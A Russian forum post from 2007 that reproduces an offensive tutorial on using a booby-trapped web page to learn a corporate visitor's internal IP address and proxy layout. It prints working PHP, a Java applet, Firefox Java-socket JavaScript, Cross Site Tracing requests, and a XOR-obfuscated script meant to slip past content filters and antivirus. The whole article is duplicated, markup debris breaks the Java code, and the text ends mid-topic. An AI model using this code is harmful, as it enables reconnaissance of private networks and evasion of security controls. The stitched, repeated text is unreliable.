Alexsize
07.09.2007, 06:05
Cпециалисты сошлись во мнениях: сегодня безопасность корпоративных сетей находится под большой угрозой, хакерам удалось проникнуть за периметр локальных сетей. На сей раз из боевого арсенала они выбрали наиболее уязвимое звено в безопасности – веб-приложения.
По данным Web Application Security Consortium, исследования 2006 года показали, что более чем 85% веб приложений уязвимы к атакам XSS:
http://img257.imageshack.us/img257/2764/web1qa2.png (http://imageshack.us)
Статистика не рисует радужных перспектив для пользователей, в тоже время она не может не радовать хакеров. Используя XSS, хакеры могут внедрять свой код на чужие сайты с целью хищения данных клиентов. Помимо уже популярных сценариев с кражей личных данных, номеров кредитных карт, и т.д., сегодня стали популярными схемы проникновения в корпоративные сети клиентов средствами одних только веб технологий. Комбинации из PHP, JavaScript и Java превращают невинные веб-ресурсы в капканы для внутренних сетей больших корпораций. Именно об этом мы сегодня и поговорим…
Проникновение с использованием веб-технологий накладывает на нас определенные ограничения в выборе методов для атаки, а заложенная в них специфика требует применения изощренных техник. В ближайших статьях мы рассмотрим сценарии проникновения в корпоративные сети, сканирование сети и атаки на внутренние веб-сервера. А в этой части поговорим исключительно про определение характеристик внутренней сети. Эти данные окажутся нам полезными на втором этапе проникновения – сканировании сети.
Итак, наша цель определить - внутренний IP-адрес клиента, чтобы в дальнейшем иметь представление о маске сети. Допустим, что сотрудник компании зашел на страницу хакера: http://www.hacker.com/go2intranet.php . Первое и самое простое, что мы можем узнать о клиенте – это его внешний адрес.
Внешний адрес
Авторизация пользователя на сервере может осуществляется по многим критериям, это может быть идентификатор сессии в HTML-коде, содержимое данных cookie или же внешний IP-адрес клиента. В зависимости от задачи, разработчики выбирают наиболее подходящий им метод, но, независимо от этого, веб-сервер предоставляет им все имеющиеся данные. Для злоумышленника, в данном случае, представляет интерес внешний адрес клиента, который можно легко узнать средствами языка PHP.
В PHP собранная сервером информация хранится в массиве $_SERVER, сюда входят данные о самом сервере, активной странице и, собственно, о клиенте. Конкретно адрес клиента хранится в переменной REMOTE_ADDR, и если вы посетили страницу хакера, последний без труда вычислит ваш внешний IP:
<?PHP
echo 'Client ip: '. $_SERVER['REMOTE_ADDR'];
echo 'Client port: '. $_SERVER['REMOTE_PORT'];
echo 'Client dns: '. $_SERVER['REMOTE_HOST'];
?>
Как видно из примера, доступной также является информация о номере порта, через который браузер соединяется с веб-сервером и DNS-имя клиента. Последнее узнается через "Rreverse DNS lookup" относительно IP-адреса клиента. Допустим, мы получили следующий результат:
REMOTE_ADDR: 20.20.20.20
REMOTE_PORT: 37938
REMOTE_HOST: proxy.isp.com
Но что нам дает эта информация? Если разобраться, то не так уж и много. Для атаки на внутреннюю сеть этих данных менее чем достаточно, ведь внешний IP скорее всего не имеет никакого отношения к компании. Вероятнее всего, адрес принадлежит компании, предоставляющей доступ в Интернет…
В самом простом виде схему подключения корпоративного пользователя можно представить как цепь из 4-х систем:
http://img170.imageshack.us/img170/2772/web2ma0.png (http://imageshack.us)
Не считая систему клиента и сам веб-сервер (30.30.30.30), у нас остаются два участника: внутренний сервер компании и внешний сервер провайдера, предоставляющий доступ в Интернет. В прошлом примере мы узнали внешний адрес клиента, но это не его внутренний IP, это, вероятнее всего, адрес прокси-сервера провайдера. Можно делать догадки и точно определить его принадлежность, но такое расследование выходит за рамки этой статьи, мы же будем считать, что 20.20.20.20 - это сервер ISP.
На этом наши поиски не закончились, продолжим изучать переменную $_SERVER.
Маршрут
Кроме уже описанных данных, в переменных сервера могут храниться заголовки X-Forwarded-For и Via. Они являются служебными и формируются промежуточными серверами по мере транспортировки запроса. Эти поля в последующем используются для идентификации клиента, пославшего запрос, чтобы потом доставить ему ответ сервера.
<?PHP
echo 'X-Forwarded-for: '. $_SERVER['HTTP_X_FORWARDED_FOR'];
echo 'Via: '. $_SERVER['HTTP_VIA'];
?>
http://img211.imageshack.us/img211/2766/web3rq0.png (http://imageshack.us)
В результате мы получили:
X-FORWARDED-FOR: 192.168.10.5, 10.10.10.10
VIA: 1.1 proxy.intranet.com(squid/2.6.STABLE9), 1.0 proxy.isp.com(squid/2.6.STABLE9)
Эта информация уже более существенная, в ней даже присутствует локальный адрес клиента. Объединим полученные данные и посмотрим, что у нас получилось:
http://img211.imageshack.us/img211/1178/web4or0.png (http://imageshack.us)
Теперь, нам известно, что proxy.isp.com действительно принадлежит провайдеру. Если посмотреть на значение VIA в заголовке, то видно, что пакет проходит через proxy.intranet.com, а уже потом через proxy.isp.com. Также можно добавить, что обе прокси работают по порту 3128 и используют squid 2.6.
Опираясь на значение X-Forwarded-For, мы определяем локальный адрес клиента (192.168.10.5), поскольку proxy.intranet.com лежит в той же подсети, его адрес будет 192.168.10.ХХ. Корпоративный прокси предоставляет доступ в сеть провайдера, в его подсети он имеет адрес 10.10.10.10. Больше про сеть провайдера мы не можем ничего сказать, но это и не важно, ведь наша - цель проникновение в корпоративную сеть.
Итак, мы нашли адрес клиента и имеем некоторую информацию о маршрутизации Интернет-трафика. Все наши сведения получены с помощью данных, хранящихся в заголовках запросов, но часто пользователи или провайдер пытаются скрыть эту информацию и блокируют передачу таких данных…
Java applet
В тех случаях, когда прокси обрезает эти заголовки или хакер не имеет доступа к серверной стороне (например, если его скрипт внедрен в чужой сайт), вышеописанная техника не будет эффективной. Но если у клиента установлена виртуальная машина Java, хакер может создать специальный апплет и уже с его помощью определить локальный адрес клиента.
Впервые этот способ был продемонстрирован еще в 2002 году. Lars Kindermann, автор идеи, тогда даже не подозревал, насколько востребованным может стать его решение в будущем. Идея программы заключается в том, что Java-код, находящийся на сервере www.hacker.com, создает подключение к самому себе. В результате создается экземпляр класса java.net.socket, в котором хранится сетевая информация о клиенте:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
// это структура, мы используем ее для хранения
// сетевой информации о хосте:
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
// это служебная функция для демонстрации
// она выводит в Ява-консоль информацию про хост
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
// функция определяет адрес веб-сервера
public Host getHostBase(){
Host base = new Host();
// берем DNS-имя веб-сервера
base.name = getDocumentBase().getHost();
// порт, по которому он работает
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80;[/COLOR[COLOR=Red]]// на заметку: -1 = 80
base.ip = "unknown";
// создаем подключение к серверу по его DNS,
// чтобы получить IP-адрес сервера:
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip); // превращаем массив в строку
}catch(Exception e){ base.ip = "error"; };
return base;
}
// получаем локальный адрес клиента:
public Host getHostLocal()
{
// берем адрес сервера
Host base = getHostBase();
Host local = new Host();
try {
// создаем подключение к серверу:
Socket connection = new Socket(base.name, base.port);
// Это наше локальное имя:
local.name = connection.getLocalAddress().getHostName();
// Это наш адрес:
local.ip = connection.getInetAddress().getHostAddress();
// Это порт подключения:
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80; // это уже понятно :)
} catch(Exceptione)
{ // если произошла ошибка, возвращаем хоть что-то:
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
// Инициализация:
public void init()
{
showHost("server", getHostBase() );
showHost("local", getHostLocal() );
}
}
Для исполнения аплета добавляем следующий код в наш скрипт go2intranet.php:
<applet code=javaSocket.class></applet>
Апплет выводит данные в консоль виртуальной машины Ява:
http://img169.imageshack.us/img169/7479/web5ho6.png (http://imageshack.us)
На практике он может делать специальный запрос на веб-сервер, чтобы передать полученные данные хакерскому скрипту. Далее мы рассмотрим комплексное решение по определению клиентского IP-адреса, поэтому обработку данных оставим на потом.
Следует заметить, что прокси или антивирус может блокировать активное содержимое, в таком случае следует применять обфускацию кода. Тэг апплета можно добавлять в документ на лету, используя JavaScript:
<script>
var code = [0,93,76,76,80,89,72,28,95,83,88,89,1,86,
93,74,93,111,83,95,87,89,72,18,95,80,93,
79,79,2,0,19,93,76,76,80,89,72,2];
var html="";
for(char=0;char<code.length;char++)
{
html += String.fromCharCode( code[char]^60 );
}
document.write(html);
</script>
Этот код идентичен с:
<appletcode=javaSocket.class></applet>
Но будет считаться безопасным для систем контроля содержимого. Но что если у клиента отключена виртуальная машина Java?
Firefox и Java
У хакера есть еще вариант определить локальный IP клиента. Один из способов получить нужные нам данные - это использовать возможность доступа к java-классам из JavaScript в браузере Firefox. Такую особенность имеют также Opera и Netscape, первые сигналы о беде поступили еще в 2003 году, именно тогда были продемонстрированы примеры создания сокетов и чтения локальных файлов с использованием API ява-классов из JavaScript.
Для определения локального адреса клиента, как и в последнем примере, создается подключение к серверу через класс java.net.Socket, но уже из JavaScript:
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new java.net.Socket(host,port)).getLocalAddress().getH ostAddress();
return Socket;}
Этот метод предложил уже известный нам из прошлой статьи Jeremiah Grossman. Но он не стал оригинальным в этом плане. Оказывается, еще первооткрыватели данного метода подметили, что не обязательно создавать новое соединение, поскольку вы уже находитесь на странице и оно уже установлено:
function natIP() {
return java.net.InetAddress.getLocalHost();
}
Cross Site Tracing
Вернемся к заголовкам X-Forwarded-For и Via. Бывают такие случаи, что хакер не имеет возможности использовать PHP (или любой другой скрипт на стороне сервера). Такое может произойти, если он внедряет код на чужой сайт через ХSS, а формировать запросы к посторонним адресам не является возможным. В этой ситуации единственное доступное средство для хакера – JavaScript.
Атакующий может использовать объект XmlHttpConnection, для того чтобы делать POST- и GET-запросы на взломанный им сервер. У него также есть возможность добавлять свои заголовки в запрос, но X-Forwarded-For и Via генерируются прокси-сервером, а поэтому на момент подключения они неизвестны и доступны только веб-серверу. Как же узнать, какие данные получает сервер? Ответ на этот вопрос лежит в документации HTTP-протокола. Как описано в стандарте, помимо методов POST и GET, существуют и другие. Некоторые из них можно встретить лишь на бумаге, но есть и такие, которые могу помочь нам с решением данной задачи.
Для диагностических целей консорциумом был утвержден метод TRACE. Если сервер получает TRACE-запрос, он должен вернуть его клиенту как ответ. Использование этого метода в хакерских целях получила название XST (Cross site Tracing), который изначально использовался для чтения данных Cookie с флагом httpOnly. Хакер уже писал об этом, и вы можете самостоятельно с ней разобраться. До недавнего времени считалось, что уже нет возможности к его применению. Но в январе 2006 года Amit Klein опубликовал в Интернете пример его успешного использования:
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
</script>
http://img66.imageshack.us/img66/9096/web6dh3.png (http://imageshack.us)
В результате responseText содержит полный текст нашего запроса, который можно легко извлечь, чтобы получить исключительно нужные нам значения:
var headers = x.split('\n');
for(header in headers )
{
var breakAt = headers[header].indexOf(':');
var fieldName = headers[header].substring(0, breakAt);
var fieldValue = headers[header].substring(breakAt+1, headers[header].length);
headers[fieldName] = fieldValue;
}
alert(headers['X-Forwarded-For']);
Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах только Ява позволяет осуществить TRACE-запросы. Недавно Anurag Agarwal написал пример для Firefox, использующий java.net.socket для трассировки запроса:
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr =
new java.io.BufferedWriter(
new java.io.OutputStreamWriter(socket.getOutputStream( ),"UTF8")
);
var rd = new java.io.BufferedReader(
new java.io.InputStreamReader(socket.getInputStream())
);
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
wr.close();
rd.close();
socket.close();
Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via), атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но, как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?
По данным Web Application Security Consortium, исследования 2006 года показали, что более чем 85% веб приложений уязвимы к атакам XSS:
http://img257.imageshack.us/img257/2764/web1qa2.png (http://imageshack.us)
Статистика не рисует радужных перспектив для пользователей, в тоже время она не может не радовать хакеров. Используя XSS, хакеры могут внедрять свой код на чужие сайты с целью хищения данных клиентов. Помимо уже популярных сценариев с кражей личных данных, номеров кредитных карт, и т.д., сегодня стали популярными схемы проникновения в корпоративные сети клиентов средствами одних только веб технологий. Комбинации из PHP, JavaScript и Java превращают невинные веб-ресурсы в капканы для внутренних сетей больших корпораций. Именно об этом мы сегодня и поговорим…
Проникновение с использованием веб-технологий накладывает на нас определенные ограничения в выборе методов для атаки, а заложенная в них специфика требует применения изощренных техник. В ближайших статьях мы рассмотрим сценарии проникновения в корпоративные сети, сканирование сети и атаки на внутренние веб-сервера. А в этой части поговорим исключительно про определение характеристик внутренней сети. Эти данные окажутся нам полезными на втором этапе проникновения – сканировании сети.
Итак, наша цель определить - внутренний IP-адрес клиента, чтобы в дальнейшем иметь представление о маске сети. Допустим, что сотрудник компании зашел на страницу хакера: http://www.hacker.com/go2intranet.php . Первое и самое простое, что мы можем узнать о клиенте – это его внешний адрес.
Внешний адрес
Авторизация пользователя на сервере может осуществляется по многим критериям, это может быть идентификатор сессии в HTML-коде, содержимое данных cookie или же внешний IP-адрес клиента. В зависимости от задачи, разработчики выбирают наиболее подходящий им метод, но, независимо от этого, веб-сервер предоставляет им все имеющиеся данные. Для злоумышленника, в данном случае, представляет интерес внешний адрес клиента, который можно легко узнать средствами языка PHP.
В PHP собранная сервером информация хранится в массиве $_SERVER, сюда входят данные о самом сервере, активной странице и, собственно, о клиенте. Конкретно адрес клиента хранится в переменной REMOTE_ADDR, и если вы посетили страницу хакера, последний без труда вычислит ваш внешний IP:
<?PHP
echo 'Client ip: '. $_SERVER['REMOTE_ADDR'];
echo 'Client port: '. $_SERVER['REMOTE_PORT'];
echo 'Client dns: '. $_SERVER['REMOTE_HOST'];
?>
Как видно из примера, доступной также является информация о номере порта, через который браузер соединяется с веб-сервером и DNS-имя клиента. Последнее узнается через "Rreverse DNS lookup" относительно IP-адреса клиента. Допустим, мы получили следующий результат:
REMOTE_ADDR: 20.20.20.20
REMOTE_PORT: 37938
REMOTE_HOST: proxy.isp.com
Но что нам дает эта информация? Если разобраться, то не так уж и много. Для атаки на внутреннюю сеть этих данных менее чем достаточно, ведь внешний IP скорее всего не имеет никакого отношения к компании. Вероятнее всего, адрес принадлежит компании, предоставляющей доступ в Интернет…
В самом простом виде схему подключения корпоративного пользователя можно представить как цепь из 4-х систем:
http://img170.imageshack.us/img170/2772/web2ma0.png (http://imageshack.us)
Не считая систему клиента и сам веб-сервер (30.30.30.30), у нас остаются два участника: внутренний сервер компании и внешний сервер провайдера, предоставляющий доступ в Интернет. В прошлом примере мы узнали внешний адрес клиента, но это не его внутренний IP, это, вероятнее всего, адрес прокси-сервера провайдера. Можно делать догадки и точно определить его принадлежность, но такое расследование выходит за рамки этой статьи, мы же будем считать, что 20.20.20.20 - это сервер ISP.
На этом наши поиски не закончились, продолжим изучать переменную $_SERVER.
Маршрут
Кроме уже описанных данных, в переменных сервера могут храниться заголовки X-Forwarded-For и Via. Они являются служебными и формируются промежуточными серверами по мере транспортировки запроса. Эти поля в последующем используются для идентификации клиента, пославшего запрос, чтобы потом доставить ему ответ сервера.
<?PHP
echo 'X-Forwarded-for: '. $_SERVER['HTTP_X_FORWARDED_FOR'];
echo 'Via: '. $_SERVER['HTTP_VIA'];
?>
http://img211.imageshack.us/img211/2766/web3rq0.png (http://imageshack.us)
В результате мы получили:
X-FORWARDED-FOR: 192.168.10.5, 10.10.10.10
VIA: 1.1 proxy.intranet.com(squid/2.6.STABLE9), 1.0 proxy.isp.com(squid/2.6.STABLE9)
Эта информация уже более существенная, в ней даже присутствует локальный адрес клиента. Объединим полученные данные и посмотрим, что у нас получилось:
http://img211.imageshack.us/img211/1178/web4or0.png (http://imageshack.us)
Теперь, нам известно, что proxy.isp.com действительно принадлежит провайдеру. Если посмотреть на значение VIA в заголовке, то видно, что пакет проходит через proxy.intranet.com, а уже потом через proxy.isp.com. Также можно добавить, что обе прокси работают по порту 3128 и используют squid 2.6.
Опираясь на значение X-Forwarded-For, мы определяем локальный адрес клиента (192.168.10.5), поскольку proxy.intranet.com лежит в той же подсети, его адрес будет 192.168.10.ХХ. Корпоративный прокси предоставляет доступ в сеть провайдера, в его подсети он имеет адрес 10.10.10.10. Больше про сеть провайдера мы не можем ничего сказать, но это и не важно, ведь наша - цель проникновение в корпоративную сеть.
Итак, мы нашли адрес клиента и имеем некоторую информацию о маршрутизации Интернет-трафика. Все наши сведения получены с помощью данных, хранящихся в заголовках запросов, но часто пользователи или провайдер пытаются скрыть эту информацию и блокируют передачу таких данных…
Java applet
В тех случаях, когда прокси обрезает эти заголовки или хакер не имеет доступа к серверной стороне (например, если его скрипт внедрен в чужой сайт), вышеописанная техника не будет эффективной. Но если у клиента установлена виртуальная машина Java, хакер может создать специальный апплет и уже с его помощью определить локальный адрес клиента.
Впервые этот способ был продемонстрирован еще в 2002 году. Lars Kindermann, автор идеи, тогда даже не подозревал, насколько востребованным может стать его решение в будущем. Идея программы заключается в том, что Java-код, находящийся на сервере www.hacker.com, создает подключение к самому себе. В результате создается экземпляр класса java.net.socket, в котором хранится сетевая информация о клиенте:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
// это структура, мы используем ее для хранения
// сетевой информации о хосте:
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
// это служебная функция для демонстрации
// она выводит в Ява-консоль информацию про хост
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
// функция определяет адрес веб-сервера
public Host getHostBase(){
Host base = new Host();
// берем DNS-имя веб-сервера
base.name = getDocumentBase().getHost();
// порт, по которому он работает
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80;[/COLOR[COLOR=Red]]// на заметку: -1 = 80
base.ip = "unknown";
// создаем подключение к серверу по его DNS,
// чтобы получить IP-адрес сервера:
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip); // превращаем массив в строку
}catch(Exception e){ base.ip = "error"; };
return base;
}
// получаем локальный адрес клиента:
public Host getHostLocal()
{
// берем адрес сервера
Host base = getHostBase();
Host local = new Host();
try {
// создаем подключение к серверу:
Socket connection = new Socket(base.name, base.port);
// Это наше локальное имя:
local.name = connection.getLocalAddress().getHostName();
// Это наш адрес:
local.ip = connection.getInetAddress().getHostAddress();
// Это порт подключения:
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80; // это уже понятно :)
} catch(Exceptione)
{ // если произошла ошибка, возвращаем хоть что-то:
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
// Инициализация:
public void init()
{
showHost("server", getHostBase() );
showHost("local", getHostLocal() );
}
}
Для исполнения аплета добавляем следующий код в наш скрипт go2intranet.php:
<applet code=javaSocket.class></applet>
Апплет выводит данные в консоль виртуальной машины Ява:
http://img169.imageshack.us/img169/7479/web5ho6.png (http://imageshack.us)
На практике он может делать специальный запрос на веб-сервер, чтобы передать полученные данные хакерскому скрипту. Далее мы рассмотрим комплексное решение по определению клиентского IP-адреса, поэтому обработку данных оставим на потом.
Следует заметить, что прокси или антивирус может блокировать активное содержимое, в таком случае следует применять обфускацию кода. Тэг апплета можно добавлять в документ на лету, используя JavaScript:
<script>
var code = [0,93,76,76,80,89,72,28,95,83,88,89,1,86,
93,74,93,111,83,95,87,89,72,18,95,80,93,
79,79,2,0,19,93,76,76,80,89,72,2];
var html="";
for(char=0;char<code.length;char++)
{
html += String.fromCharCode( code[char]^60 );
}
document.write(html);
</script>
Этот код идентичен с:
<appletcode=javaSocket.class></applet>
Но будет считаться безопасным для систем контроля содержимого. Но что если у клиента отключена виртуальная машина Java?
Firefox и Java
У хакера есть еще вариант определить локальный IP клиента. Один из способов получить нужные нам данные - это использовать возможность доступа к java-классам из JavaScript в браузере Firefox. Такую особенность имеют также Opera и Netscape, первые сигналы о беде поступили еще в 2003 году, именно тогда были продемонстрированы примеры создания сокетов и чтения локальных файлов с использованием API ява-классов из JavaScript.
Для определения локального адреса клиента, как и в последнем примере, создается подключение к серверу через класс java.net.Socket, но уже из JavaScript:
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new java.net.Socket(host,port)).getLocalAddress().getH ostAddress();
return Socket;}
Этот метод предложил уже известный нам из прошлой статьи Jeremiah Grossman. Но он не стал оригинальным в этом плане. Оказывается, еще первооткрыватели данного метода подметили, что не обязательно создавать новое соединение, поскольку вы уже находитесь на странице и оно уже установлено:
function natIP() {
return java.net.InetAddress.getLocalHost();
}
Cross Site Tracing
Вернемся к заголовкам X-Forwarded-For и Via. Бывают такие случаи, что хакер не имеет возможности использовать PHP (или любой другой скрипт на стороне сервера). Такое может произойти, если он внедряет код на чужой сайт через ХSS, а формировать запросы к посторонним адресам не является возможным. В этой ситуации единственное доступное средство для хакера – JavaScript.
Атакующий может использовать объект XmlHttpConnection, для того чтобы делать POST- и GET-запросы на взломанный им сервер. У него также есть возможность добавлять свои заголовки в запрос, но X-Forwarded-For и Via генерируются прокси-сервером, а поэтому на момент подключения они неизвестны и доступны только веб-серверу. Как же узнать, какие данные получает сервер? Ответ на этот вопрос лежит в документации HTTP-протокола. Как описано в стандарте, помимо методов POST и GET, существуют и другие. Некоторые из них можно встретить лишь на бумаге, но есть и такие, которые могу помочь нам с решением данной задачи.
Для диагностических целей консорциумом был утвержден метод TRACE. Если сервер получает TRACE-запрос, он должен вернуть его клиенту как ответ. Использование этого метода в хакерских целях получила название XST (Cross site Tracing), который изначально использовался для чтения данных Cookie с флагом httpOnly. Хакер уже писал об этом, и вы можете самостоятельно с ней разобраться. До недавнего времени считалось, что уже нет возможности к его применению. Но в январе 2006 года Amit Klein опубликовал в Интернете пример его успешного использования:
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
</script>
http://img66.imageshack.us/img66/9096/web6dh3.png (http://imageshack.us)
В результате responseText содержит полный текст нашего запроса, который можно легко извлечь, чтобы получить исключительно нужные нам значения:
var headers = x.split('\n');
for(header in headers )
{
var breakAt = headers[header].indexOf(':');
var fieldName = headers[header].substring(0, breakAt);
var fieldValue = headers[header].substring(breakAt+1, headers[header].length);
headers[fieldName] = fieldValue;
}
alert(headers['X-Forwarded-For']);
Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах только Ява позволяет осуществить TRACE-запросы. Недавно Anurag Agarwal написал пример для Firefox, использующий java.net.socket для трассировки запроса:
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr =
new java.io.BufferedWriter(
new java.io.OutputStreamWriter(socket.getOutputStream( ),"UTF8")
);
var rd = new java.io.BufferedReader(
new java.io.InputStreamReader(socket.getInputStream())
);
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
wr.close();
rd.close();
socket.close();
Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via), атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но, как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?